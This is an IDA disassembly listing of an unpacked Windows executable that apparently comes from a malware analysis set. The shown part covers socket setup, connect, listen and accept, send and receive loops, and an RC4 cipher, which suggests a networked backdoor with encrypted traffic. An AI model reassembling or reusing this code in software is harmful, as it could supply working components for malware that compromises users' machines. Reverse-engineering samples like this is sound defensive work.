;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : E9A89B8E90BD53114CF872089D72EF5F
; File Name : u:\work\e9a89b8e90bd53114cf872089d72ef5f_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00040000 ( 262144.)
; Section size in file : 00040000 ( 262144.)
; Offset to raw data for section: 00001000
; Flags C0000060: Text Data Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
DMN0 segment para public 'DATA' use32
assume cs:DMN0
;org 401000h
assume es:nothing, ss:nothing, ds:DMN0, fs:nothing, gs:nothing
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_401001 proc near ; CODE XREF: sub_40400E+3Fp
; sub_404967+6Bp
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov esi, [ebx]
jmp short loc_401013
; ---------------------------------------------------------------------------
loc_40100B: ; CODE XREF: sub_401001+14j
call dword_411CC4 ; GetTickCount
mov esi, eax
loc_401013: ; CODE XREF: sub_401001+8j
test esi, esi
jz short loc_40100B
mov eax, esi
mov edx, 41C64E6Dh
mul edx
lea esi, [eax+3039h]
mov [ebx], esi
cmp dword ptr [ebx], 0
jnz short loc_40102F
inc dword ptr [ebx]
loc_40102F: ; CODE XREF: sub_401001+2Aj
mov eax, esi
shr eax, 10h
and eax, 7FFFh
pop esi
pop ebx
retn
sub_401001 endp
; =============== S U B R O U T I N E =======================================
sub_40103C proc near ; CODE XREF: sub_4066F1+20p
push offset dword_41285C
call dword_411CC8 ; InitializeCriticalSection
retn
sub_40103C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401048 proc near ; CODE XREF: sub_40122A+35p
; sub_4019C3+Bp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push offset dword_41285C
call dword_411CCC ; RtlEnterCriticalSection
push 1
mov eax, [ebp+arg_0]
push eax
call sub_406D40
pop ecx
pop ecx
mov ebx, eax
push offset dword_41285C
call dword_411CD0 ; RtlLeaveCriticalSection
mov eax, ebx
pop ebx
pop ebp
retn
sub_401048 endp
; =============== S U B R O U T I N E =======================================
sub_401076 proc near ; CODE XREF: sub_40122A+1Fp
; sub_401A3B+Bp ...
arg_0 = dword ptr 4
push offset dword_41285C
call dword_411CCC ; RtlEnterCriticalSection
push [esp+arg_0]
call sub_4070F0
pop ecx
push offset dword_41285C
call dword_411CD0 ; RtlLeaveCriticalSection
retn
sub_401076 endp
; =============== S U B R O U T I N E =======================================
sub_401097 proc near ; CODE XREF: sub_4066F1+2Ap
push offset dword_412874
call dword_411CC8 ; InitializeCriticalSection
retn
sub_401097 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 100h
push ebx
push esi
push edi
xor esi, esi
cmp dword ptr [ebp+8], 0
jz loc_40115E
push 0FFFFFFF5h
call dword_411CD4 ; GetStdHandle
cmp eax, 0FFFFFFFFh
jz loc_40115E
push offset dword_412874
call dword_411CCC ; RtlEnterCriticalSection
lea edi, [ebp+0Ch]
push edi
push dword ptr [ebp+8]
push 100h
lea eax, [ebp-100h]
push eax
call sub_4071C0
add esp, 10h
mov ebx, eax
cmp ebx, 0FFh
jbe short loc_401140
push 1
lea eax, [ebx+80h]
push eax
call sub_406D40
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp+0Ch]
push edi
push dword ptr [ebp+8]
lea eax, [ebx+1Fh]
push eax
push esi
call sub_4071C0
add esp, 10h
mov ebx, eax
push esi
push offset aS_0 ; "%s"
call sub_407260
pop ecx
pop ecx
push esi
call sub_4070F0
pop ecx
jmp short loc_401153
; ---------------------------------------------------------------------------
loc_401140: ; CODE XREF: DMN0:00401100j
lea eax, [ebp-100h]
push eax
push offset aS_0 ; "%s"
call sub_407260
pop ecx
pop ecx
loc_401153: ; CODE XREF: DMN0:0040113Ej
push offset dword_412874
call dword_411CD0 ; RtlLeaveCriticalSection
loc_40115E: ; CODE XREF: DMN0:004010B6j
; DMN0:004010CCj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_401165 proc near ; CODE XREF: sub_4066F1+25p
push offset dword_41288C
call dword_411CC8 ; InitializeCriticalSection
retn
sub_401165 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
push ebx
lea eax, [ebp-10h]
push eax
call dword_411CD8 ; GetLocalTime
cmp word ptr [ebp-8], 0Ch
jnb short loc_401190
mov ebx, offset aAm ; "AM"
jmp short loc_401195
; ---------------------------------------------------------------------------
loc_401190: ; CODE XREF: DMN0:00401187j
mov ebx, offset aPm ; "PM"
loc_401195: ; CODE XREF: DMN0:0040118Ej
push ebx
movzx eax, word ptr [ebp-4]
push eax
movzx eax, word ptr [ebp-6]
push eax
movzx eax, word ptr [ebp-8]
mov ecx, 0Ch
cdq
idiv ecx
push edx
movzx eax, word ptr [ebp-10h]
mov ecx, 64h
cdq
idiv ecx
push edx
movzx eax, word ptr [ebp-0Ah]
push eax
movzx eax, word ptr [ebp-0Eh]
push eax
push offset a02i02i02iIIIS ; "%02i/%02i/%02i %i:%i:%i%s"
push dword ptr [ebp+8]
call sub_4072C0
add esp, 24h
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
push ebx
push offset dword_41288C
call dword_411CCC ; RtlEnterCriticalSection
push offset aA ; "a"
push dword ptr [ebp+8]
call sub_407300
pop ecx
pop ecx
mov ebx, eax
test ebx, ebx
jz short loc_40121A
lea eax, [ebp+10h]
mov [ebp-4], eax
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push ebx
call sub_4073B0
add esp, 0Ch
push ebx
call sub_407560
pop ecx
loc_40121A: ; CODE XREF: DMN0:004011FCj
push offset dword_41288C
call dword_411CD0 ; RtlLeaveCriticalSection
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40122A proc near ; CODE XREF: sub_4066F1+4Bp
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov ebx, [ebp+arg_0]
jmp short loc_40124F
; ---------------------------------------------------------------------------
loc_401237: ; CODE XREF: sub_40122A+2Cj
dec dword_411000
mov eax, dword_411000
push dword_4128A4[eax*4]
call sub_401076
pop ecx
loc_40124F: ; CODE XREF: sub_40122A+Bj
cmp dword_411000, 0
jnz short loc_401237
jmp short loc_4012CB
; ---------------------------------------------------------------------------
loc_40125A: ; CODE XREF: sub_40122A+ADj
push 401h
call sub_401048
pop ecx
mov edx, dword_411000
mov dword_4128A4[edx*4], eax
cmp byte ptr [ebx], 22h
jnz short loc_40127E
inc ebx
mov [ebp+var_1], 22h
jmp short loc_401282
; ---------------------------------------------------------------------------
loc_40127E: ; CODE XREF: sub_40122A+4Bj
mov [ebp+var_1], 20h
loc_401282: ; CODE XREF: sub_40122A+52j
and [ebp+var_8], 0
mov eax, dword_411000
lea edx, [eax+1]
mov dword_411000, edx
mov esi, dword_4128A4[eax*4]
jmp short loc_4012A3
; ---------------------------------------------------------------------------
loc_40129D: ; CODE XREF: sub_40122A+8Bj
mov al, [ebx]
mov [esi], al
inc esi
inc ebx
loc_4012A3: ; CODE XREF: sub_40122A+71j
mov al, [ebx]
test al, al
jz short loc_4012B7
cmp al, [ebp+var_1]
jz short loc_4012B7
cmp [ebp+var_8], 400h
jl short loc_40129D
loc_4012B7: ; CODE XREF: sub_40122A+7Dj
; sub_40122A+82j
cmp [ebp+var_1], 22h
jnz short loc_4012C6
cmp byte ptr [ebx], 22h
jnz short loc_4012C6
inc ebx
jmp short loc_4012C6
; ---------------------------------------------------------------------------
loc_4012C5: ; CODE XREF: sub_40122A+9Fj
inc ebx
loc_4012C6: ; CODE XREF: sub_40122A+91j
; sub_40122A+96j ...
cmp byte ptr [ebx], 20h
jz short loc_4012C5
loc_4012CB: ; CODE XREF: sub_40122A+2Ej
cmp byte ptr [ebx], 0
jz short loc_4012D9
cmp dword_411000, 20h
jl short loc_40125A
loc_4012D9: ; CODE XREF: sub_40122A+A4j
mov eax, dword_411000
and dword_4128A4[eax*4], 0
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40122A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4012EC proc near ; CODE XREF: sub_4066F1+256p
var_190 = byte ptr -190h
push ebp
mov ebp, esp
sub esp, 190h
push ebx
push esi
mov bx, 2
lea eax, [ebp+var_190]
push eax
movzx eax, bx
push eax
call sub_406CAE ; WSAStartup
mov esi, eax
test esi, esi
jz short loc_40133C
mov bx, 101h
lea eax, [ebp+var_190]
push eax
movzx eax, bx
push eax
call sub_406CAE ; WSAStartup
mov esi, eax
test esi, esi
jz short loc_40132F
xor eax, eax
jmp short loc_40134A
; ---------------------------------------------------------------------------
loc_40132F: ; CODE XREF: sub_4012EC+3Dj
push offset aWinsock1_1Init ; "WinSock 1.1 initialized.\n"
call nullsub_2
pop ecx
jmp short loc_401347
; ---------------------------------------------------------------------------
loc_40133C: ; CODE XREF: sub_4012EC+23j
push offset aWinsock2_xInit ; "WinSock 2.x initialized.\n"
call nullsub_2
pop ecx
loc_401347: ; CODE XREF: sub_4012EC+4Ej
xor eax, eax
inc eax
loc_40134A: ; CODE XREF: sub_4012EC+41j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4012EC endp
; ---------------------------------------------------------------------------
call sub_406CB4 ; WSACleanup
xor eax, eax
inc eax
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401359 proc near ; CODE XREF: sub_402896+BDp
; sub_403C3F+DCp ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push eax
push ebx
push 6
push 1
push 2
call sub_406CBA ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_401377
xor eax, eax
jmp short loc_4013CD
; ---------------------------------------------------------------------------
loc_401377: ; CODE XREF: sub_401359+18j
mov [ebp+var_4], 112A880h
push 4
lea eax, [ebp+var_4]
push eax
push 1005h
push 0FFFFh
push ebx
call sub_406CC0 ; setsockopt
mov [ebp+var_4], 112A880h
push 4
lea eax, [ebp+var_4]
push eax
push 1006h
push 0FFFFh
push ebx
call sub_406CC0 ; setsockopt
mov [ebp+var_4], 1
push 4
lea eax, [ebp+var_4]
push eax
push 8
push 0FFFFh
push ebx
call sub_406CC0 ; setsockopt
mov eax, ebx
loc_4013CD: ; CODE XREF: sub_401359+1Cj
pop ebx
mov esp, ebp
pop ebp
retn
sub_401359 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
push ebx
push 6
push 1
push 2
call sub_406CBA ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_4013F0
xor eax, eax
jmp short loc_401451
; ---------------------------------------------------------------------------
loc_4013F0: ; CODE XREF: DMN0:004013EAj
imul eax, [ebp+0Ch], 3E8h
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 1005h
push 0FFFFh
push ebx
call sub_406CC0 ; setsockopt
imul eax, [ebp+8], 3E8h
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 1006h
push 0FFFFh
push ebx
call sub_406CC0 ; setsockopt
xor eax, eax
cmp dword ptr [ebp+10h], 0
setnz al
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 8
push 0FFFFh
push ebx
call sub_406CC0 ; setsockopt
mov eax, ebx
loc_401451: ; CODE XREF: DMN0:004013EEj
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
push ebx
mov ebx, [ebp+8]
imul eax, [ebp+10h], 3E8h
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 1005h
push 0FFFFh
push ebx
call sub_406CC0 ; setsockopt
imul eax, [ebp+0Ch], 3E8h
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 1006h
push 0FFFFh
push ebx
call sub_406CC0 ; setsockopt
xor eax, eax
cmp dword ptr [ebp+14h], 0
setnz al
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 8
push 0FFFFh
push ebx
call sub_406CC0 ; setsockopt
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_4014C2 proc near ; CODE XREF: sub_4025A9+15Dp
; sub_4025A9+1B4p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_406CC6 ; closesocket
xor eax, eax
inc eax
retn
sub_4014C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4014CF proc near ; CODE XREF: sub_4042CD+567p
; sub_4042CD+5E1p
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
mov ebx, [ebp+arg_0]
and [ebp+var_10C], 0
and [ebp+var_108], 0
and [ebp+var_104], 0
cmp [ebp+var_104], 40h
jnb short loc_401511
mov eax, [ebp+var_104]
lea edx, [eax+1]
mov [ebp+var_104], edx
mov [ebp+eax*4+var_100], ebx
loc_401511: ; CODE XREF: sub_4014CF+2Aj
lea eax, [ebp+var_10C]
push eax
push 0
push 0
lea eax, [ebp+var_104]
push eax
push 0
call sub_406CCC ; select
mov esi, eax
cmp eax, 0FFFFFFFFh
jz short loc_40153C
test esi, esi
jnz short loc_401539
xor eax, eax
jmp short loc_40153C
; ---------------------------------------------------------------------------
loc_401539: ; CODE XREF: sub_4014CF+64j
xor eax, eax
inc eax
loc_40153C: ; CODE XREF: sub_4014CF+60j
; sub_4014CF+68j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4014CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401542 proc near ; CODE XREF: sub_402562+13p
; sub_4025A9+1F5p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
lea eax, [ebp+var_4]
push eax
push 4004667Fh
push [ebp+arg_0]
call sub_406CD2 ; ioctlsocket
mov ebx, eax
cmp eax, 0FFFFFFFFh
jz short loc_401562
mov eax, [ebp+var_4]
loc_401562: ; CODE XREF: sub_401542+1Bj
pop ebx
mov esp, ebp
pop ebp
retn
sub_401542 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401567 proc near ; CODE XREF: sub_4025A9+14Ep
; sub_402896+DBp ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_4075D0
add esp, 0Ch
mov [ebp+var_10], 2
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
movzx eax, [ebp+arg_8]
push eax
call sub_406CD8 ; htons
mov [ebp+var_E], ax
lea ebx, [ebp+var_10]
push 10h
push ebx
push [ebp+arg_0]
call sub_406CDE ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4015AF
xor eax, eax
jmp short loc_4015B2
; ---------------------------------------------------------------------------
loc_4015AF: ; CODE XREF: sub_401567+42j
xor eax, eax
inc eax
loc_4015B2: ; CODE XREF: sub_401567+46j
pop ebx
mov esp, ebp
pop ebp
retn
sub_401567 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4015B7 proc near ; CODE XREF: sub_404967+A7p
; sub_405CF6+2Bp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_4075D0
add esp, 0Ch
mov [ebp+var_10], 2
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
movzx eax, [ebp+arg_8]
push eax
call sub_406CD8 ; htons
mov [ebp+var_E], ax
lea ebx, [ebp+var_10]
push 10h
push ebx
push [ebp+arg_0]
call sub_406CE4 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_4015FF
xor eax, eax
jmp short loc_401602
; ---------------------------------------------------------------------------
loc_4015FF: ; CODE XREF: sub_4015B7+42j
xor eax, eax
inc eax
loc_401602: ; CODE XREF: sub_4015B7+46j
pop ebx
mov esp, ebp
pop ebp
retn
sub_4015B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401607 proc near ; CODE XREF: sub_404967+1D1p
; sub_405CF6+48p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 5
push [ebp+arg_0]
call sub_406CEA ; listen
test eax, eax
jge short loc_40161C
xor eax, eax
jmp short loc_40161F
; ---------------------------------------------------------------------------
loc_40161C: ; CODE XREF: sub_401607+Fj
xor eax, eax
inc eax
loc_40161F: ; CODE XREF: sub_401607+13j
pop ebp
retn
sub_401607 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401621 proc near ; CODE XREF: sub_405CF6+63p
var_14 = dword ptr -14h
var_10 = word ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_4075D0
add esp, 0Ch
mov [ebp+var_10], 2
mov [ebp+var_14], 10h
lea esi, [ebp+var_10]
lea eax, [ebp+var_14]
push eax
push esi
push [ebp+arg_0]
call sub_406CF0 ; accept
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_401664
xor eax, eax
jmp short loc_401666
; ---------------------------------------------------------------------------
loc_401664: ; CODE XREF: sub_401621+3Dj
mov eax, ebx
loc_401666: ; CODE XREF: sub_401621+41j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_401621 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40166C proc near ; CODE XREF: sub_404967+1E9p
var_14 = dword ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
mov edx, [ebp+arg_4]
and dword ptr [edx], 0
mov word ptr [ebx], 0
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_4075D0
add esp, 0Ch
mov [ebp+var_10], 2
mov [ebp+var_14], 10h
lea edi, [ebp+var_10]
lea eax, [ebp+var_14]
push eax
push edi
push [ebp+arg_0]
call sub_406CF0 ; accept
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4016BE
xor eax, eax
jmp short loc_4016D5
; ---------------------------------------------------------------------------
loc_4016BE: ; CODE XREF: sub_40166C+4Cj
mov edx, [ebp+arg_4]
mov eax, [ebp+var_C]
mov [edx], eax
movzx eax, [ebp+var_E]
push eax
call sub_406CF6 ; htons
mov [ebx], ax
mov eax, esi
loc_4016D5: ; CODE XREF: sub_40166C+50j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40166C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4016DC proc near ; CODE XREF: sub_401BAC+44p
; sub_401BAC+A3p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov edi, [ebp+arg_8]
jmp short loc_401707
; ---------------------------------------------------------------------------
loc_4016EA: ; CODE XREF: sub_4016DC+2Dj
push 0
push [ebp+arg_8]
push ebx
push [ebp+arg_0]
call sub_406CFC ; recv
mov esi, eax
test esi, esi
jg short loc_401703
or eax, 0FFFFFFFFh
jmp short loc_40170E
; ---------------------------------------------------------------------------
loc_401703: ; CODE XREF: sub_4016DC+20j
sub edi, esi
add ebx, esi
loc_401707: ; CODE XREF: sub_4016DC+Cj
test edi, edi
jg short loc_4016EA
mov eax, [ebp+arg_8]
loc_40170E: ; CODE XREF: sub_4016DC+25j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4016DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401713 proc near ; CODE XREF: sub_4025A9+1E3p
; sub_402896+149p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
mov edi, ebx
xor ebx, ebx
jmp short loc_401742
; ---------------------------------------------------------------------------
loc_401722: ; CODE XREF: sub_401713+31j
push 0
push ebx
push [ebp+arg_4]
push [ebp+arg_0]
call sub_406CFC ; recv
mov esi, eax
test esi, esi
jle short loc_401746
sub edi, esi
mov eax, [ebp+arg_4]
add eax, esi
mov [ebp+arg_4], eax
add ebx, esi
loc_401742: ; CODE XREF: sub_401713+Dj
test edi, edi
jg short loc_401722
loc_401746: ; CODE XREF: sub_401713+21j
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
sub_401713 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+10h]
mov edi, ebx
xor ebx, ebx
jmp short loc_40177C
; ---------------------------------------------------------------------------
loc_40175C: ; CODE XREF: DMN0:0040177Ej
push 0
push ebx
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_406CFC ; recv
mov esi, eax
test esi, esi
jle short loc_401780
sub edi, esi
mov eax, [ebp+0Ch]
add eax, esi
mov [ebp+0Ch], eax
add ebx, esi
loc_40177C: ; CODE XREF: DMN0:0040175Aj
test edi, edi
jg short loc_40175C
loc_401780: ; CODE XREF: DMN0:0040176Ej
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401787 proc near ; CODE XREF: sub_401ADA+97p
; sub_4025A9+1A4p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov edi, [ebp+arg_8]
jmp short loc_4017B2
; ---------------------------------------------------------------------------
loc_401795: ; CODE XREF: sub_401787+2Dj
push 0
push [ebp+arg_8]
push ebx
push [ebp+arg_0]
call sub_406D02 ; send
mov esi, eax
test esi, esi
jg short loc_4017AE
or eax, 0FFFFFFFFh
jmp short loc_4017B9
; ---------------------------------------------------------------------------
loc_4017AE: ; CODE XREF: sub_401787+20j
sub edi, esi
add ebx, esi
loc_4017B2: ; CODE XREF: sub_401787+Cj
test edi, edi
jg short loc_401795
mov eax, [ebp+arg_8]
loc_4017B9: ; CODE XREF: sub_401787+25j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_401787 endp
; =============== S U B R O U T I N E =======================================
sub_4017BE proc near ; CODE XREF: DMN0:00401882p
; sub_403C3F+30p ...
arg_0 = dword ptr 4
push ebx
push esi
xor esi, esi
push [esp+8+arg_0]
call sub_406D08 ; inet_addr
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_4017F2
push [esp+8+arg_0]
call sub_406D0E ; gethostbyname
mov esi, eax
test esi, esi
jnz short loc_4017E9
or eax, 0FFFFFFFFh
jmp short loc_4017F4
; ---------------------------------------------------------------------------
loc_4017E9: ; CODE XREF: sub_4017BE+24j
mov eax, [esi+0Ch]
mov eax, [eax]
mov eax, [eax]
jmp short loc_4017F4
; ---------------------------------------------------------------------------
loc_4017F2: ; CODE XREF: sub_4017BE+15j
mov eax, ebx
loc_4017F4: ; CODE XREF: sub_4017BE+29j
; sub_4017BE+32j
pop esi
pop ebx
retn
sub_4017BE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push 10h
push 0
lea eax, [ebp-10h]
push eax
call sub_4075D0
add esp, 0Ch
mov word ptr [ebp-10h], 2
mov dword ptr [ebp-14h], 10h
lea ebx, [ebp-10h]
lea eax, [ebp-14h]
push eax
push ebx
push dword ptr [ebp+8]
call sub_406D14 ; getsockname
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_401837
xor eax, eax
jmp short loc_401852
; ---------------------------------------------------------------------------
loc_401837: ; CODE XREF: DMN0:00401831j
mov edx, [ebp+0Ch]
mov eax, [ebp-0Ch]
mov [edx], eax
movzx eax, word ptr [ebp-0Eh]
push eax
call sub_406CF6 ; htons
mov edx, [ebp+10h]
mov [edx], ax
xor eax, eax
inc eax
loc_401852: ; CODE XREF: DMN0:00401835j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
mov byte ptr [ebp-400h], 0
push 400h
lea eax, [ebp-400h]
push eax
call sub_406D1A ; gethostname
lea eax, [ebp-400h]
push eax
call sub_4017BE
pop ecx
mov ebx, eax
mov [ebp-404h], ebx
mov eax, [ebp-404h]
push eax
call sub_406D20 ; inet_ntoa
mov esi, eax
push esi
lea eax, [ebp-400h]
push eax
push offset aSIsS ; "%s is %s\n"
call nullsub_2
add esp, 0Ch
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4018BB proc near ; CODE XREF: sub_401A55+14p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edx, [ebp+arg_0]
and dword ptr [edx+400h], 0
mov edx, [ebp+arg_0]
and dword ptr [edx+404h], 0
mov ebx, [ebp+arg_0]
xor ecx, ecx
loc_4018DD: ; CODE XREF: sub_4018BB+2Cj
mov [ebx+ecx*4], ecx
inc ecx
cmp ecx, 100h
jl short loc_4018DD
and [ebp+var_8], 0
xor edi, edi
xor ecx, ecx
loc_4018F1: ; CODE XREF: sub_4018BB+77j
lea eax, [ebx+ecx*4]
mov [ebp+var_C], eax
mov edx, [eax]
mov [ebp+var_4], edx
add edx, edi
mov esi, [ebp+var_8]
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax+esi]
add eax, edx
movzx edi, al
mov eax, [ebx+edi*4]
mov edx, [ebp+var_C]
mov [edx], eax
mov eax, [ebp+var_4]
mov [ebx+edi*4], eax
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
cmp eax, [ebp+arg_8]
jl short loc_40192B
and [ebp+var_8], 0
loc_40192B: ; CODE XREF: sub_4018BB+6Aj
inc ecx
cmp ecx, 100h
jl short loc_4018F1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4018BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40193B proc near ; CODE XREF: sub_401ADA+86p
; sub_401BAC+71p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov ebx, [eax+400h]
mov edi, [eax+404h]
mov ecx, eax
and [ebp+var_8], 0
jmp short loc_4019A2
; ---------------------------------------------------------------------------
loc_40195B: ; CODE XREF: sub_40193B+6Dj
lea eax, [ebx+1]
movzx ebx, al
lea eax, [ecx+ebx*4]
mov edx, [eax]
mov [ebp+var_4], edx
add edx, edi
movzx edi, dl
mov edx, [ecx+edi*4]
mov [ebp+var_C], edx
mov [eax], edx
mov eax, [ebp+var_4]
mov [ecx+edi*4], eax
mov eax, [ebp+var_8]
mov edx, [ebp+arg_4]
add eax, edx
mov [ebp+var_10], eax
movsx edx, byte ptr [eax]
mov esi, [ebp+var_4]
mov eax, [ebp+var_C]
add eax, esi
movzx eax, al
xor edx, [ecx+eax*4]
mov al, dl
mov edx, [ebp+var_10]
mov [edx], al
inc [ebp+var_8]
loc_4019A2: ; CODE XREF: sub_40193B+1Ej
mov eax, [ebp+arg_8]
cmp [ebp+var_8], eax
jl short loc_40195B
mov edx, [ebp+arg_0]
mov [edx+400h], ebx
mov edx, [ebp+arg_0]
mov [edx+404h], edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40193B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4019C3 proc near ; CODE XREF: sub_403C3F+EFp
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
push esi
push 474h
call sub_401048
pop ecx
mov esi, eax
